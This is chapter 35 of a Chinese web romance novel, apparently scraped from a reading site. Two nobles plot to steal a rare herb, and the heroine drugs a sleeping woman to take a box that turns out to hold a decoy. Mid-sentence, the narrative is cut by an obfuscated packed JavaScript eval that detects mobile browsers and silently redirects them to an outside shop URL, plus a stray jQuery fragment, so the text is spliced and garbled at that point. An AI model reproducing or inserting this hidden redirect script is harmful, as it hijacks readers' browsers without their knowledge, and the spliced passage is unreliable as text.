文趣网 > 其他小说 > 撞破死敌肖想我后 > 35. 第 35 章
    宋许青被他问得一愣:“没人欺负我。”

    “那你——”裴林琛抬手至半途,想起什么,指尖僵在半空。

    他顿了顿,缓缓收回手,侧过面庞不再看她:“你为何要哭?”

    “哦,你说这个。”宋许青伸手揩了下濡湿的眼角,语气轻快:“这不是我的老把戏了吗,我惯会演戏,装哭自然是信手拈来。”

    她说着又看向他,几分疑惑:“我从前用这把戏赢过你无数次,你该清楚的,怎么今日却——”

    “我只当是有人胆大包天,不将裴家放在眼里罢了,”裴林琛重又坐下,姿态娴雅地点茶,缓声说着:“你明面上到底是我母亲远侄,我断不会任由人欺辱你。”

    “原是这样。”宋许青似懂非懂地点头,快步坐到裴林琛对面,边看他行云流水地点茶,边道:“事情成了一半。”

    剩下一半,便要看翠巧每日皆是何时辰送经文来了。

    裴林琛轻轻颔首,算是应答。

    宋许青又道:“你需几日才能摸清守卫轮换的空档?”

    裴林琛手一顿,抬眸看她,问道:“你这般心急?”

    “心急倒也算不上,只是能了一桩事,还是尽早了为好,你说是不是?”

    “摸清布防只是第一步罢了,东西放在何处,有无机关陷阱,我们一概不知,”裴林琛看向她,忽而问道:“你怕不怕死?”

    “自然是怕,”谈及生死,宋许青神色分外平静,两手托腮,淡淡道:“但我笃定,自己不会死。”

    裴林琛注视着她,小片刻后,竟是笑了:“你口气不小,那些暗卫皆是皇家秘密培养十数年的精英,个个身手卓然,你若被他们发现,绝无生机。”

    “绝无生机?”宋许青歪了歪脑袋,“你在替他们担心吗?”

    裴林琛沉默了,看她的目光十分复杂。

    她却以为她说中他的心事,点头道:“我明白若杀了他们,事情会变得棘手,但我也束手无策,跟在师父身边这许多年,我所学只有杀人,但你放心,我会尽量手下留情,放他们一条活路的。”

    裴林琛脸上如今是半分笑意也无了,“你以为我在同你说笑?”

    宋许青眨巴两下眼,不懂方才还唇角含笑的人,怎么转瞬就满面沉肃,开口道:“谁跟你说笑了,我是实话实说。”

    “......你说如何便是如何吧。”

    裴林琛歇了与她争辩的心思,只专注扶着茶盏,指骨利落地紧绷,调膏后心无旁骛地击拂茶筅,注入沸水,待茶汤表面泛起雪花般细腻的乳花,方停手。

    此时茶盏中腾起的雪沫细腻如云,咬盏不散,盏面则水光匀净,宛若澄透明镜,不见一丝水痕。

    他伸出修长白皙的手,将茶盏推至宋许青跟前,淡声道:“尝尝。”

    宋许青在家中喝惯了粗茶,对茶道之事一窍不通,只觉着方才裴林琛点茶时腕部轻转,淡淡青筋于手背若隐若现,一举一动皆赏心悦目。

    他长睫低垂,分毫不受周遭动静打搅,那番沉静模样,很有应天府世家公子的矜贵气度。

    眼前这人,与她记忆里他年少的模样,似乎渐渐有了偏差。

    宋许青饮下一口茶汤,问道:“你这点茶的手艺,是从何夫人那里学来的?”

    “你为何会如此想?”

    “何夫人母族乃茶礼世家不是吗,若不是她,裴府何人有资格教你茶艺?”

    裴林琛简略道:“自己学。”

    “自己?你一个人?”宋许青满眼震惊:“没有老师教的那种自学?”

    “嗯,”他见她反应过大,不由反问:“有何不妥?”

    宋许青一时有些哑然。

    她清楚裴林琛是个读书的料子,毕竟年幼时她偷走他书册,他仅凭通篇背诵便能躲过先生责罚,但她却不曾料到,他学茶艺也能无师自通。

    那日府中茶会,她也观摩过何夫人点茶,但与裴林琛相比,她动作太过一板一眼,反倒失了茶礼的自在悠然,远不及他率性洒脱。

    若是从师苦学,练就他如今造诣,尚有一说,可他全凭自学,这未免也太......

    “你果真聪明。”宋许青不情不愿地开口。

    “羡慕了?”

    “才不。”宋许青嘴硬完,又叹口气,感慨道:“要是我学东西也有你这般快就好了,那我就能掌握许多门手艺,往后无论如何,怎么着也不会饿死。”

    裴林琛听着听着便皱眉:“饿死这样不吉利的话,不许说。”

    他抬眼直视她:“莫非在你眼里,我就如此无能,连养活你都成问题?”

    “我哪里是这个意思,你耳朵是怎么听的!”

    “不是最好。”

    “我就是想着多学点东西亦不是坏事,常言道,技多不压身嘛!”宋许青看着碧绿透亮的茶汤,很有兴致地说道:“裴林琛,你也教教我怎么点茶吧。”

    “不教。”

    她满腔热忱,换来他干脆利落的回绝。

    “为何不肯?”宋许青不肯罢休。

    “这种伎俩,家中只要有一人会便足够,”裴林琛神色淡淡:“我学了,你便不必费力再学。”

    “哦哦哦,”宋许青觉得她好像明白他的意思:“你是说,我们成婚之后?”

    裴林琛眼也不抬,语气慵懒:“不然?”

    “但我们的婚事又不长久,待宋家光复,我会与你和离,让你好再觅良缘。”宋许青认真地说:“因而我还是先学着吧。”

    此话一出,裴林琛牢牢盯住她,眸底压抑着一层郁色。

    宋许青自认懂他,笑着安慰:“你不必忧心,你乃世家出身,与我又无子嗣,因而便是有过姻亲,应天府仍旧有不少好姑娘可供你选的。”

    “子嗣?”裴林琛低声重复,若有所思。

    “你我不过名义上的假夫妻,自然不会有孩子。”宋许青见他神态不似方才阴沉,以为安慰奏效,便接着开口:“所以啊,你就教教我呗。”

    裴林琛花了少顷才从思绪中抽身,抬眸便见宋许青乌亮的眸子正一眨不眨地望着他,眼巴巴的模样,谁人看了都是央求之意。

    他指尖轻抵下颌,对上她期盼的目光,语速放得极慢:“你休想。”

    宋许青的肩膀瞬间耷拉下来,撇嘴道:“小气鬼。”

    见着她颓丧模样,裴林琛却斜倚靠背,唇角漾出笑意:“对,我就小气。”

    ***

    翠巧送来地藏经的第七日,宋许青终于摸清暗卫轮班的空档。

    他们每日换班时辰都不同,五日一循环,她特意选在郑文华安寝的时段,悄悄潜入她的睡房。

    寺院寮房规制布局都相仿,为宋许青搜寻省去不少功夫。

    她将妆奁、矮几、衣箱,甚至雕花窗下的陶罐都一一翻找过,却始终不见苍山雪斛踪影。

    万般无奈之下,她最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814303|209171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    终只得将目光,投向床帘后已然熟睡的郑文华。

    宋许青轻手轻脚地迈步,缓向床边靠近,待静立床边,垂首去看,只见榻上一位中年妇人正紧紧抱着一只木匣,呼吸绵长地沉睡。

    她双臂用力环抱,将装有苍山雪斛的药匣牢牢护于胸腹之间,若有不轨之人偷盗,伸手拖拽之际,她势必会惊醒。

    好在裴林琛思虑周全,事先给她备好了浸透迷药的绢帕。

    宋许青屏住呼吸,一点点地靠近熟睡中的郑文华,待近身后,她飞快扣住她后颈,不待她出声呼救,便将浸过迷药的手帕死死地捂在她口鼻之上。

    床榻猛地一阵晃动,木板都在吱呀作响,从睡梦中醒来的郑文华激烈挣扎,喉咙中也溢出痛苦的呜咽声。

    宋许青稳稳地压制住她双肩,手也暗自加力,将她的呜咽声压到最低,等待她神志昏蒙,四肢瘫软的那一刻。

    不多时,郑文华的挣扎变得无力,高抬的手臂也重重垂落。

    宋许青不敢有片刻耽搁,从她怀中抽走木匣,旋即翻身从窗口跃出。

    床帐之内,郑文华熟睡的身影似乎与方才无二,呼吸依旧平稳绵长。

    ......

    夜风从颊边呼啸而过,刮得人脸生疼。

    宋许青紧紧地搂着怀中的木匣,心脏在胸腔内砰砰狂跳,后背早已浸满冷汗,单薄的衣裳濡湿着,紧贴在身,风一吹便是刺骨的极寒。

    她借着夜色遮掩,穿过数重檐廊,终于抵达与裴林琛约定会面的茶舍。

    直至此时,她高悬着的心好似才找到安身之处。

    宋许青大口大口地喘着气,也顾不得颊边散乱的碎发,一见到裴林琛,便将木匣递过去,道:“你要的东西,我带来了。”

    她递出木匣时,指尖尚在微微发抖。

    裴林琛看在眼中,却也知晓如今时间紧迫,耽搁不得,低声道一句“辛苦你”,便伸手接过木匣,指尖扣住匣盖,稍有用力,木匣便应声而启。

    一株通体莹白如玉,好似覆霜积雪的草药,安安静静地躺在黑沉夹板之上,梢头几片小叶仍青嫩,如翡翠般通透。

    裴林琛取出一把锋锐的小刀,在茎身割出一道小划痕,浓稠透亮的液体便从伤口处缓缓流出。

    他将刀刃印在汁液上,随后举起小刀,递于唇边,浅浅地尝了一口。

    “只这一点,够疗愈你的寒症吗?”宋许青有些忧心:“你不如再喝点。”

    “不必了。”裴林琛撂下小刀,阖上眼,轻轻叹气:“这并非苍山雪斛。”

    “不是?”宋许青分外讶异:“这怎么可能!房中每一处我都搜遍了!”

    裴林琛眉头微皱,面上浮现出痛苦的神色:“宁王果然爱用障眼法,这株看似是苍山雪斛,实则是雪仙茅。”

    二者形貌极为相似,唯一区别,只在雪斛汁液黏滑味甘,而雪仙茅辛辣刺喉。

    宋许青咬着下唇,百思不得其解:“房中能藏东西的角落我一一搜过,绝不可能有疏漏。”

    她思忖之际,余光见裴林琛的身影倏地晃动,便赶忙去扶。

    扶住他的刹那,宋许青当即皱眉:“你身上为何如此滚烫?”

    她抬眸去看,只见裴林琛呼吸渐重,面上泛起异样的薄红,眼底也好似蒙了一层潮热的水雾,不复往日清明。

    裴林琛躬着身子,声音藏着一丝不为人知的颤动:“从我身边离开,立刻,马上。”